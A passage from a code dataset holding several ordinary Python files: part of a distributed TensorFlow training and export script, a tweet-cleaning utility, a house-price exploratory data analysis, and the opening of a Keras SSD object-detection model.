tf.reset_default_graph()\n # restore from last checkpoint\n with tf.get_default_graph().as_default():\n new_model = model(shifu_context)\n logging.info(\"Expose model inputs: %s; Model outputs: %s.\" % (str(new_model.inputs), str(new_model.output)))\n\n saver = tf.train.Saver()\n with tf.Session() as sess:\n tmp_model_path= shifu_context['tmp_model_path']\n ckpt = tf.train.get_checkpoint_state(tmp_model_path)\n logging.info(\"Checkpoint path: %s.\" % ckpt)\n assert ckpt, \"Invalid model checkpoint path: {}.\".format(tmp_model_path)\n saver.restore(sess, ckpt.model_checkpoint_path)\n\n final_model_path = shifu_context['final_model_path']\n logging.info(\"Exporting saved_model to: %s.\" % final_model_path)\n\n # exported signatures defined in code\n simple_save(session=sess, export_dir=final_model_path,\n inputs={\n \"shifu_input_0\": new_model.inputs[0]\n },\n outputs={\n \"shifu_output_0\": new_model.output\n },\n norm_type=shifu_context['model_conf']['normalize']['normType'])\n logging.info(\"Export saved_model.\")\n\n tl = timeline.Timeline(run_metadata.step_stats)\n ctf = tl.generate_chrome_trace_format()\n logging.info(\"DEBUG: ctf: %s \" % str(ctf))\n\n f = tf.gfile.GFile(tmp_model_path + \"/timeline.json\", mode=\"w+\")\n f.write(ctf)\n time.sleep(20) # grace period to wait before closing session\n\n logging.info('Session from worker %d closed cleanly.' % shifu_context['task_index'])\n sys.exit()\n\ndef load_data(shifu_context):\n valid_ratio = shifu_context['valid_training_data_ratio']\n data_file_list = shifu_context['training_data_path'].split(\",\")\n\n logging.info(\"Input data %s.\" % data_file_list)\n logging.info(\"Select columns: %s.\" % str(shifu_context['feature_column_nums']))\n\n train_data = []\n train_target = []\n valid_data = []\n valid_target = []\n\n training_data_sample_weight = []\n valid_data_sample_weight = []\n\n train_pos_cnt = 0\n train_neg_cnt = 0\n valid_pos_cnt = 0\n valid_neg_cnt = 0\n\n file_count = 1\n line_count = 0\n feature_column_nums = shifu_context['feature_column_nums']\n target_column_num = shifu_context['target_column_num']\n sample_weight_column_num = shifu_context['sample_weight_column_num']\n meta_column_nums = shifu_context['meta_column_nums']\n column_info = shifu_context['column_info']\n compact_mode = False\n\n for currentFile in data_file_list:\n logging.info(\n \"Now loading %s Progress: %s/%s.\" % (currentFile, str(file_count), str(len(data_file_list))))\n file_count += 1\n\n with gfile.Open(currentFile, 'rb') as f:\n gf = gzip.GzipFile(fileobj=StringIO(f.read()))\n while True:\n line = gf.readline()\n if len(line) == 0:\n break\n\n line_count += 1\n if line_count % 10000 == 0:\n logging.info(\"Total loading lines: %s.\" % str(line_count))\n\n columns = line.split(shifu_context['delimiter'])\n if line_count == 1:\n # meta amount + feature amount + 1 target + 1 weight\n compact_mode = len(meta_column_nums) + len(feature_column_nums) + 2 == len(columns)\n logging.info(\"Compact mode: %s.\" % str(compact_mode))\n\n if feature_column_nums == None:\n feature_column_nums = range(0, len(columns))\n\n feature_column_nums.remove(target_column_num)\n if sample_weight_column_num >= 0:\n feature_column_nums.remove(sample_weight_column_num)\n column_info = get_column_info(feature_column_nums, meta_column_nums, target_column_num)\n logging.info(\"Column info %s.\" % str(column_info))\n\n if random.random() >= valid_ratio:\n # Append training data\n data_index = 0\n single_train_data = np.zeros([len(feature_column_nums)], dtype=np.float32)\n single_train_data_index = 0\n for pair in column_info:\n column_num = pair[0]\n column_type = pair[1]\n if column_type == \"Target\":\n train_target.append([float(columns[data_index])])\n if columns[data_index] == \"1\": # FIXME, some case target is not 0 or 1\n train_pos_cnt += 1\n else:\n train_neg_cnt += 1\n elif column_type == \"Feature\":\n try:\n f_val = float(columns[data_index].strip('\\n'))\n if math.isnan(f_val):\n logging.warn(\"Warning: value is NaN after parsing %s.\" % columns[data_index].strip('\\n'))\n f_val = 0.0\n single_train_data[single_train_data_index] = f_val\n except:\n single_train_data[single_train_data_index] = 0.0\n logging.warn(\"Could not convert %s to float.\" % str(columns[data_index].strip('\\n')))\n single_train_data_index += 1\n if not compact_mode or column_type == \"Target\" or column_type == \"Feature\" or column_type == \"Meta\":\n data_index += 1\n train_data.append(single_train_data)\n\n weight = float(columns[len(columns)-1].strip('\\n'))\n if weight < 0.0:\n logging.warn(\"Warning: weight is below 0, use default 1.0. weight: %s example: %s.\" % (weight, line))\n weight = 1.0\n training_data_sample_weight.append([weight])\n else:\n # Append validation data\n data_index = 0\n single_valid_data = np.zeros([len(feature_column_nums)], dtype=np.float32)\n single_valid_data_index = 0\n for pair in column_info:\n column_num = pair[0]\n column_type = pair[1]\n if column_type == \"Target\":\n valid_target.append([float(columns[data_index])])\n if columns[data_index] == \"1\": # FIXME, some case target is not 0 or 1\n valid_pos_cnt += 1\n else:\n valid_neg_cnt += 1\n elif column_type == \"Feature\":\n try:\n f_val = float(columns[data_index].strip('\\n'))\n if math.isnan(f_val):\n logging.warn(\"Warning: value is NaN after parsing %s.\" % columns[data_index].strip('\\n'))\n f_val = 0.0\n single_valid_data[single_valid_data_index] = f_val\n except:\n single_valid_data[single_valid_data_index] = 0.0\n logging.warn(\"Could not convert %s to float.\" % str(columns[data_index].strip('\\n')))\n single_valid_data_index += 1\n if not compact_mode or column_type == \"Target\" or column_type == \"Feature\" or column_type == \"Meta\":\n data_index += 1\n valid_data.append(single_valid_data)\n\n weight = float(columns[len(columns)-1].strip('\\n'))\n if weight < 0.0:\n logging.warn(\"Warning: weight is below 0, use default 1.0. weight: %s example: %s.\" % (weight, line))\n weight = 1.0\n valid_data_sample_weight.append([weight])\n\n logging.info(\"Total data count: %s.\" % str(line_count))\n logging.info(\"Train pos count: %s, neg count: %s.\" % (str(train_pos_cnt), str(train_neg_cnt)))\n logging.info(\"Valid pos count: %s, neg count: %s.\" % (str(valid_pos_cnt), str(valid_neg_cnt)))\n\n return {\"train_data\": train_data, \"train_target\": train_target,\n \"valid_data\": valid_data, \"valid_target\": valid_target,\n \"train_data_sample_weight\": training_data_sample_weight,\n \"valid_data_sample_weight\": valid_data_sample_weight,\n \"feature_count\": len(feature_column_nums)}\n\ndef simple_save(session, export_dir, inputs, outputs, norm_type, legacy_init_op=None, ):\n if tf.gfile.Exists(export_dir):\n tf.gfile.DeleteRecursively(export_dir)\n signature_def_map = {\n signature_constants.DEFAULT_SERVING_SIGNATURE_DEF_KEY:\n signature_def_utils.predict_signature_def(inputs, outputs)\n }\n b = builder.SavedModelBuilder(export_dir)\n b.add_meta_graph_and_variables(\n session,\n tags=[tag_constants.TRAINING, tag_constants.SERVING],\n signature_def_map=signature_def_map,\n assets_collection=ops.get_collection(ops.GraphKeys.ASSET_FILEPATHS),\n legacy_init_op=legacy_init_op,\n clear_devices=True)\n b.save()\n export_generic_config(export_dir=export_dir, input=inputs['shifu_input_0'].name, output=outputs['shifu_output_0'].name, norm_type=norm_type)\n\ndef export_generic_config(export_dir, input, output, norm_type):\n config_json_str = \"\"\n config_json_str += \"{\\n\"\n config_json_str += \" \\\"inputnames\\\": [\\n\"\n config_json_str += \" \\\"\" + input + \"\\\"\\n\"\n config_json_str += \" ],\\n\"\n config_json_str += \" \\\"properties\\\": {\\n\"\n config_json_str += \" \\\"algorithm\\\": \\\"tensorflow\\\",\\n\"\n config_json_str += \" \\\"tags\\\": [\\\"train\\\", \\\"serve\\\"],\\n\"\n config_json_str += \" \\\"outputnames\\\": \\\"\" + output + \"\\\",\\n\"\n config_json_str += \" \\\"normtype\\\": \\\"\" + norm_type + \"\\\"\\n\"\n config_json_str += \" }\\n\"\n config_json_str += \"}\"\n f = tf.gfile.GFile(export_dir + \"/GenericModelConfig.json\", mode=\"w+\")\n f.write(config_json_str)\n\ndef start_tensorboard(checkpoint_dir):\n tf.flags.FLAGS.logdir = checkpoint_dir\n if TB_PORT_ENV_VAR in os.environ:\n tf.flags.FLAGS.port = os.environ['TB_PORT']\n\n tb_thread = Thread(target=tb_main.run_main)\n tb_thread.daemon = True\n\n logging.info(\"Starting TensorBoard with --logdir= %s in daemon thread ...\" % checkpoint_dir)\n tb_thread.start()\n\nif __name__ == '__main__':\n tf.app.run()","sub_path":"src/main/python/distributed_tf_keras.py","file_name":"distributed_tf_keras.py","file_ext":"py","file_size_in_byte":33600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"83597108","text":"import re\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nfrom string import punctuation\n\nstopwords = stopwords.words('english') + list(punctuation) + [\"URL\",\"USER\",\"'s\"]\n\ndef cleanUpTweets(tweets):\n clean_tweets = []\n \n for tweet in tweets:\n tweet_text = cleanIt(tweet[\"Text\"])\n clean_tweets.append((tweet_text, tweet[\"Label\"]))\n\n return clean_tweets\n\ndef cleanIt(tweet_text):\n tweet_text = tweet_text.lower()\n\n # Replace links with \"URL\" (Stopword)\n regex1 = r'((www\\.[^\\s]+)|(https?://[^\\s]+))'\n tweet_text = re.sub(regex1, 'URL', tweet_text)\n\n # Replace @user with \"USER\" (Stopword)\n regex2 = r'@[^\\s]+'\n tweet_text = re.sub(regex2, 'USER', tweet_text)\n\n # Replace hashtags\n tweet_text = re.sub(r'#([^\\s]+)', r'\\1', tweet_text)\n\n # Replace ...... with \". \"\n tweet_text = re.sub(r'\\.+', '. ', tweet_text)\n\n tweet_text = word_tokenize(tweet_text)\n\n tweet = []\n for word in tweet_text:\n if word not in stopwords:\n tweet.append(word)\n\n return tweet\n\n#trial = \"I must admit @apple has made me a very happy camper! I have text tones now! Lol! Ring tone: #MakeMeProud Drakes vers! Text tone: Nicki's\"\n#print cleanIt(trial)","sub_path":"clean_tweet.py","file_name":"clean_tweet.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"562680417","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nfrom scipy import stats\nfrom scipy.stats import norm\nfrom sklearn.preprocessing import StandardScaler\nimport warnings\nwarnings.filterwarnings('ignore')\n\n#%% load dataset\ndf = pd.read_csv('../../data/raw/house_prices.csv')\nprint(df.head())\nprint(df.columns)\nprint(df.shape)\n\n#%% descriptive statistics summary\nprint(df['SalePrice'].describe())\n\n#%% histogram\nsns.distplot(df['SalePrice'])\nplt.savefig('../../reports/figures/house_prices_saleprice_histogram.png')\nplt.show()\n\n#%% skewness and kurtosis\nprint('Skewness:', df['SalePrice'].skew())\nprint('Kurtosis:', df['SalePrice'].kurt())\n\n#%% relationship with numeric variables\n# scatter plot grlivarea/saleprice\nvar = 'GrLivArea'\ndata = pd.concat([df['SalePrice'], df[var]], axis=1)\ndata.plot.scatter(x=var, y='SalePrice', ylim=(0, 800000))\nplt.savefig('../../reports/figures/house_prices_grlivarea_scatter_plot.png')\nplt.show()\n\n# scatter plot totalbsmtsf/saleprice\nvar = 'TotalBsmtSF'\ndata = pd.concat([df['SalePrice'], df[var]], axis=1)\ndata.plot.scatter(x=var, y='SalePrice', ylim=(0, 800000))\nplt.savefig('../../reports/figures/house_prices_totalbsmtsf_scatter_plot.png')\nplt.show()\n\n#%% relationship with categorical variables\n# box plot overallqual/saleprice\nvar = 'OverallQual'\ndata = pd.concat([df['SalePrice'], df[var]], axis=1)\nf, ax = plt.subplots(figsize=(8, 6))\nfig = sns.boxplot(x=var, y='SalePrice', data=data)\nfig.axis(ymin=0, ymax=800000)\nplt.savefig('../../reports/figures/house_prices_overallqual_box_plot.png')\nplt.show()\n\n# box plot yearbuilt/saleprice\nvar = 'YearBuilt'\ndata = pd.concat([df['SalePrice'], df[var]], axis=1)\nf, ax = plt.subplots(figsize=(16, 8))\nfig = sns.boxplot(x=var, y='SalePrice', data=data)\nfig.axis(ymin=0, ymax=800000)\nplt.xticks(rotation=90)\nplt.savefig('../../reports/figures/house_prices_yearbuilt_box_plot.png')\nplt.show()\n\n#%% multivariate analysis\n# correlation matrix\ncorrmat = df.corr()\nf, ax = plt.subplots(figsize=(12, 9))\nsns.heatmap(corrmat, vmax=.8, square=True)\nplt.savefig('../../reports/figures/house_prices_correlation_matrix.png')\nplt.show()\n\n#%% saleprice correlation matrix\nk = 10 # number of variables for heatmap\ncols = corrmat.nlargest(k, 'SalePrice')['SalePrice'].index\ncm = np.corrcoef(df[cols].values.T)\nsns.set(font_scale=1.25)\nhm = sns.heatmap(cm, cbar=True, annot=True, square=True, fmt='.2f', annot_kws={'size': 10},\n yticklabels=cols.values, xticklabels=cols.values)\nplt.savefig('../../reports/figures/house_prices_saleprice_correlation_matrix.png')\nplt.show()\n\n#%% scatter plot between saleprice and correlated variables\nsns.set()\ncols = ['SalePrice', 'OverallQual', 'GrLivArea', 'GarageCars', 'TotalBsmtSF', 'FullBath', 'YearBuilt']\nsns.pairplot(df[cols], size=2.5)\nplt.savefig('../../reports/figures/house_prices_saleprice_scatter_plots.png')\nplt.show()\n\n#%% missing data\ntotal = df.isnull().sum().sort_values(ascending=False)\npercent = (df.isnull().sum()/df.isnull().count()).sort_values(ascending=False)\nmissing_data = pd.concat([total, percent], axis=1, keys=['Total', 'Percent'])\nprint(missing_data.head(20))\n\n#%% dealing with missing data\ndf = df.drop((missing_data[missing_data['Total'] > 1]).index, 1)\ndf = df.drop(df.loc[df['Electrical'].isnull()].index)\nprint(df.isnull().sum().max())\n\n#%% outliers\n# univariate analysis\nsaleprice_scaled = StandardScaler().fit_transform(df['SalePrice'][:, np.newaxis])\nlow_range = saleprice_scaled[saleprice_scaled[:, 0].argsort()][:10]\nhigh_range = saleprice_scaled[saleprice_scaled[:, 0].argsort()][-10:]\nprint('Outer range (low) of the distribution:')\nprint(low_range)\nprint('\\nOuter range (high) of the distribution:')\nprint(high_range)\n\n#%% bivariate analysis\n# saleprice/grlivarea\n# deleting points\nprint(df.sort_values(by='GrLivArea', ascending=False)[:2])\ndf = df.drop(df[df['Id'] == 1299].index)\ndf = df.drop(df[df['Id'] == 524].index)\n\nvar = 'GrLivArea'\ndata = pd.concat([df['SalePrice'], df[var]], axis=1)\ndata.plot.scatter(x=var, y='SalePrice', ylim=(0, 800000))\nplt.savefig('../../reports/figures/house_prices_saleprice_grlivarea_scatter_plot.png')\nplt.show()\n\n#%% normality\n# saleprice\n# histogram and normal probability plot\nsns.distplot(df['SalePrice'], fit=norm)\nplt.savefig('../../reports/figures/house_prices_saleprice_normality_histogram.png')\nplt.show()\n\nfig = plt.figure()\nres = stats.probplot(df['SalePrice'], plot=plt)\nplt.savefig('../../reports/figures/house_prices_saleprice_normal_probability_plot.png')\nplt.show()\n\n#%% log transformations\ndf['SalePrice'] = np.log(df['SalePrice'])\n\n# transformed histogram and normal probability plot\nsns.distplot(df['SalePrice'], fit=norm)\nplt.savefig('../../reports/figures/house_prices_transformed_saleprice_normality_histogram.png')\nplt.show()\n\nfig = plt.figure()\nres = stats.probplot(df['SalePrice'], plot=plt)\nplt.savefig('../../reports/figures/house_prices_transformed_saleprice_normal_probability_plot.png')\nplt.show()\n\n#%% grlivarea\n# histogram and normal probability plot\nsns.distplot(df['GrLivArea'], fit=norm)\nplt.savefig('../../reports/figures/house_prices_grlivarea_normality_histogram.png')\nplt.show()\n\nfig = plt.figure()\nres = stats.probplot(df['GrLivArea'], plot=plt)\nplt.savefig('../../reports/figures/house_prices_grlivarea_normal_probability_plot.png')\nplt.show()\n\n# log transformations\ndf['GrLivArea'] = np.log(df['GrLivArea'])\n\n# transformed histogram and normal probability plot\nsns.distplot(df['GrLivArea'], fit=norm)\nplt.savefig('../../reports/figures/house_prices_transformed_grlivarea_normality_histogram.png')\nplt.show()\n\nfig = plt.figure()\nres = stats.probplot(df['GrLivArea'], plot=plt)\nplt.savefig('../../reports/figures/house_prices_transformed_grlivarea_normal_probability_plot.png')\nplt.show()\n\n#%% totalbsmtsf\n# histogram and normal probability plot\nsns.distplot(df['TotalBsmtSF'], fit=norm)\nplt.savefig('../../reports/figures/house_prices_totalbsmtsf_normality_histogram.png')\nplt.show()\n\nfig = plt.figure()\nres = stats.probplot(df['TotalBsmtSF'], plot=plt)\nplt.savefig('../../reports/figures/house_prices_totalbsmtsf_normal_probability_plot.png')\nplt.show()\n\n# create new column\n# if area > 0 it gets 1, for area == 0 it gets 0\ndf['HasBsmt'] = pd.Series(len(df['TotalBsmtSF']), index=df.index)\ndf['HasBsmt'] = 0\ndf.loc[df['TotalBsmtSF'] > 0, 'HasBsmt'] = 1\n\n# log transformations\ndf.loc[df['HasBsmt'] == 1, 'TotalBsmtSF'] = np.log(df['TotalBsmtSF'])\n\n# transformed histogram and normal probability plot\nsns.distplot(df[df['TotalBsmtSF'] > 0]['TotalBsmtSF'], fit=norm)\nplt.savefig('../../reports/figures/house_prices_transformed_totalbsmtsf_normality_histogram.png')\nplt.show()\n\nfig = plt.figure()\nres = stats.probplot(df[df['TotalBsmtSF'] > 0]['TotalBsmtSF'], plot=plt)\nplt.savefig('../../reports/figures/house_prices_transformed_totalbsmtsf_normal_probability_plot.png')\nplt.show()\n\n#%% homoscedasticity\n# scatter plot\nplt.scatter(df['GrLivArea'], df['SalePrice'])\nplt.savefig('../../reports/figures/house_prices_transformed_saleprice_grlivarea_scatter_plot.png')\nplt.show()\n\nplt.scatter(df[df['TotalBsmtSF'] > 0]['TotalBsmtSF'], df[df['TotalBsmtSF'] > 0]['SalePrice'])\nplt.savefig('../../reports/figures/house_prices_transformed_saleprice_totalbsmtsf_scatter_plot.png')\nplt.show()\n\n#%% convert categorical variable into dummy\ndf = pd.get_dummies(df)\nprint(df.head())\ndf.to_csv('../../data/processed/house_prices.csv', index=False)\n","sub_path":"src/data/house_prices.py","file_name":"house_prices.py","file_ext":"py","file_size_in_byte":7415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"83860746","text":"import numpy as np\nfrom keras.applications.imagenet_utils import preprocess_input\nfrom keras.layers import Input, Lambda, Activation, Conv2D, MaxPooling2D, ZeroPadding2D, Reshape, Concatenate\nfrom keras.regularizers import l2\nfrom keras_layers.keras_layer_L2Normalization import L2Normalization\nfrom keras_layer_AnchorBoxes import AnchorBoxes\nfrom keras_layers.keras_layer_DecodeDetections import DecodeDetections\nfrom keras.models import Model\n\ndef model(img_size,\n n_classes,\n mode='training',\n l2_regularization=0.0005,\n min_scale=None,\n max_scale=None,\n scales=None,\n aspect_ratios_per_layer=[[1.0, 2.0, 0.5],\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\n [1.0, 2.0, 0.5],\n [1.0, 2.0, 0.5]],\n steps=[8, 16, 32, 64, 100, 300],\n offsets=None,\n clip_boxes=False,\n variances=[0.1, 0.1, 0.2, 0.2],\n coords='centroids',\n normalize_coords=True,\n confidence_thresh=0.01,\n iou_threshold=0.45,\n top_k=200,\n nms_max_output_size=400,\n return_predictor_sizes=False):\n n_predictor_layers = 6\n n_classes = n_classes\n l2_reg = l2_regularization\n img_height,img_width,img_c = img_size[0],img_size[1],img_size[2]\n if aspect_ratios_per_layer:\n if len(aspect_ratios_per_layer) != n_predictor_layers:\n raise ValueError(\n \"It must be either aspect_ratios_per_layer is None or len(aspect_ratios_per_layer) == {}, but len(aspect_ratios_per_layer) == {}.\".format(\n n_predictor_layers, len(aspect_ratios_per_layer)))\n if scales:\n if len(scales) != n_predictor_layers + 1:\n raise ValueError(\"It must be either scales is None or len(scales) == {}, but len(scales) == {}.\".format(\n n_predictor_layers + 1, len(scales)))\n else: # If no explicit list of scaling factors was passed, compute the list of scaling factors from `min_scale` and `max_scale`\n scales = np.linspace(min_scale, max_scale, n_predictor_layers + 1)\n\n if len(variances) != 4:\n raise ValueError(\"4 variance values must be pased, but {} values were received.\".format(len(variances)))\n variances = np.array(variances)\n if np.any(variances <= 0):\n raise ValueError(\"All variances must be >0, but the variances given are {}\".format(variances))\n\n if (not (steps is None)) and (len(steps) != n_predictor_layers):\n raise ValueError(\"You must provide at least one step value per predictor layer.\")\n\n if (not (offsets is None)) and (len(offsets) != n_predictor_layers):\n raise ValueError(\"You must provide at least one offset value per predictor layer.\")\n\n # Set the aspect ratios for each predictor layer. These are only needed for the anchor box layers.\n aspect_ratios = aspect_ratios_per_layer\n # Compute the number of boxes to be predicted per cell for each predictor layer.\n # We need this so that we know how many channels the predictor layers need to have.\n if aspect_ratios_per_layer:\n n_boxes = []\n for ar in aspect_ratios_per_layer:\n if (1 in ar):\n n_boxes.append(len(ar) + 1) # +1 for the second box for aspect ratio 1\n else:\n n_boxes.append(len(ar))\n\n\n #构建网络\n def identity_layer(tensor):\n return tensor\n def preprocess(tensor):\n return preprocess_input(tensor)\n img_input = Input(shape=(img_height, img_width, img_c))\n #将数据转化为imgnet输入格式,均值为0,没有缩放,RGB转成BGR\n #x = Lambda(identity_layer, output_shape=(img_height, img_width, img_c), name='identity_layer')(img_input)\n #x = preprocess_input(img_input)\n x = Lambda(preprocess,output_shape=(img_height, img_width, img_c), name='process_layer')(img_input)\n # Block 1\n conv1_1 = Conv2D(64, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block1_conv1')(x)\n conv1_2 = Conv2D(64, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block1_conv2')(conv1_1)\n pool1 = MaxPooling2D((2, 2), strides=(2, 2), name='block1_pool')(conv1_2)\n\n # Block 2\n conv2_1 = Conv2D(128, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block2_conv1')(pool1)\n conv2_2 = Conv2D(128, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block2_conv2')(conv2_1)\n pool2 = MaxPooling2D((2, 2), strides=(2, 2), name='block2_pool')(conv2_2)\n\n # Block 3\n conv3_1 = Conv2D(256, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block3_conv1')(pool2)\n conv3_2 = Conv2D(256, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg),name='block3_conv2')(conv3_1)\n conv3_3 = Conv2D(256, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block3_conv3')(conv3_2)\n pool3 = MaxPooling2D((2, 2), strides=(2, 2), name='block3_pool')(conv3_3)\n\n # Block 4\n conv4_1 = Conv2D(512, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block4_conv1')(pool3)\n conv4_2 = Conv2D(512, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block4_conv2')(conv4_1)\n conv4_3 = Conv2D(512, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block4_conv3')(conv4_2)\n pool4 = MaxPooling2D((2, 2), strides=(2, 2), name='block4_pool')(conv4_3)\n\n # Block 5\n conv5_1 = Conv2D(512, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block5_conv1')(pool4)\n conv5_2 = Conv2D(512, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block5_conv2')(conv5_1)\n conv5_3 = Conv2D(512, (3, 3), activation='relu', padding='same',kernel_regularizer=l2(l2_reg), name='block5_conv3')(conv5_2)\n pool5 = MaxPooling2D((2, 2), strides=(2, 2), name='block5_pool')(conv5_3)\n\n fc6 = Conv2D(1024, (3, 3), dilation_rate=(6, 6), activation='relu', padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='fc6')(pool5)\n\n fc7 = Conv2D(1024, (1, 1), activation='relu', padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='fc7')(fc6)\n\n conv6_1 = Conv2D(256, (1, 1), activation='relu', padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv6_1')(fc7)\n conv6_1 = ZeroPadding2D(padding=((1, 1), (1, 1)), name='conv6_padding')(conv6_1)\n conv6_2 = Conv2D(512, (3, 3), strides=(2, 2), activation='relu', padding='valid', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv6_2')(conv6_1)\n\n conv7_1 = Conv2D(128, (1, 1), activation='relu', padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv7_1')(conv6_2)\n conv7_1 = ZeroPadding2D(padding=((1, 1), (1, 1)), name='conv7_padding')(conv7_1)\n conv7_2 = Conv2D(256, (3, 3), strides=(2, 2), activation='relu', padding='valid', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv7_2')(conv7_1)\n\n conv8_1 = Conv2D(128, (1, 1), activation='relu', padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv8_1')(conv7_2)\n conv8_2 = Conv2D(256, (3, 3), strides=(1, 1), activation='relu', padding='valid', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv8_2')(conv8_1)\n\n conv9_1 = Conv2D(128, (1, 1), activation='relu', padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv9_1')(conv8_2)\n conv9_2 = Conv2D(256, (3, 3), strides=(1, 1), activation='relu', padding='valid', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv9_2')(conv9_1)\n\n # Feed conv4_3 into the L2 normalization layer\n conv4_3_norm = L2Normalization(gamma_init=20, name='conv4_3_norm')(conv4_3)\n #预测分类的网络,输出shape=(batchsize,featuremap_h,featuremap_w,n_box_type*n_classes)\n conv4_3_norm_mbox_conf = Conv2D(n_boxes[0] * n_classes, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv4_3_norm_mbox_conf')(conv4_3_norm)\n fc7_mbox_conf = Conv2D(n_boxes[1] * n_classes, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='fc7_mbox_conf')(fc7)\n conv6_2_mbox_conf = Conv2D(n_boxes[2] * n_classes, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv6_2_mbox_conf')(conv6_2)\n conv7_2_mbox_conf = Conv2D(n_boxes[3] * n_classes, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv7_2_mbox_conf')(conv7_2)\n conv8_2_mbox_conf = Conv2D(n_boxes[4] * n_classes, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv8_2_mbox_conf')(conv8_2)\n conv9_2_mbox_conf = Conv2D(n_boxes[5] * n_classes, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv9_2_mbox_conf')(conv9_2)\n #reshape成(batchsize,None,n_classes)\n conv4_3_norm_mbox_conf_reshape = Reshape((-1, n_classes), name='conv4_3_norm_mbox_conf_reshape')(\n conv4_3_norm_mbox_conf)\n fc7_mbox_conf_reshape = Reshape((-1, n_classes), name='fc7_mbox_conf_reshape')(fc7_mbox_conf)\n conv6_2_mbox_conf_reshape = Reshape((-1, n_classes), name='conv6_2_mbox_conf_reshape')(conv6_2_mbox_conf)\n conv7_2_mbox_conf_reshape = Reshape((-1, n_classes), name='conv7_2_mbox_conf_reshape')(conv7_2_mbox_conf)\n conv8_2_mbox_conf_reshape = Reshape((-1, n_classes), name='conv8_2_mbox_conf_reshape')(conv8_2_mbox_conf)\n conv9_2_mbox_conf_reshape = Reshape((-1, n_classes), name='conv9_2_mbox_conf_reshape')(conv9_2_mbox_conf)\n #concat各个层的输出,然后用softmax激活\n mbox_conf = Concatenate(axis=1, name='mbox_conf')([conv4_3_norm_mbox_conf_reshape,\n fc7_mbox_conf_reshape,\n conv6_2_mbox_conf_reshape,\n conv7_2_mbox_conf_reshape,\n conv8_2_mbox_conf_reshape,\n conv9_2_mbox_conf_reshape])\n mbox_conf_softmax = Activation('softmax', name='mbox_conf_softmax')(mbox_conf)\n\n #预测定位的网络,shape=(batchsize,featuremap_h,featuremap_w,n_box_type*4)\n conv4_3_norm_mbox_loc = Conv2D(n_boxes[0] * 4, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv4_3_norm_mbox_loc')(conv4_3_norm)\n fc7_mbox_loc = Conv2D(n_boxes[1] * 4, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='fc7_mbox_loc')(fc7)\n conv6_2_mbox_loc = Conv2D(n_boxes[2] * 4, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv6_2_mbox_loc')(conv6_2)\n conv7_2_mbox_loc = Conv2D(n_boxes[3] * 4, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv7_2_mbox_loc')(conv7_2)\n conv8_2_mbox_loc = Conv2D(n_boxes[4] * 4, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv8_2_mbox_loc')(conv8_2)\n conv9_2_mbox_loc = Conv2D(n_boxes[5] * 4, (3, 3), padding='same', kernel_initializer='he_normal',\n kernel_regularizer=l2(l2_reg), name='conv9_2_mbox_loc')(conv9_2)\n #reshape成(batchsize,None,4)\n conv4_3_norm_mbox_loc_reshape = Reshape((-1, 4), name='conv4_3_norm_mbox_loc_reshape')(conv4_3_norm_mbox_loc)\n fc7_mbox_loc_reshape = Reshape((-1, 4), name='fc7_mbox_loc_reshape')(fc7_mbox_loc)\n conv6_2_mbox_loc_reshape = Reshape((-1, 4), name='conv6_2_mbox_loc_reshape')(conv6_2_mbox_loc)\n conv7_2_mbox_loc_reshape = Reshape((-1, 4), name='conv7_2_mbox_loc_reshape')(conv7_2_mbox_loc)\n conv8_2_mbox_loc_reshape = Reshape((-1, 4), 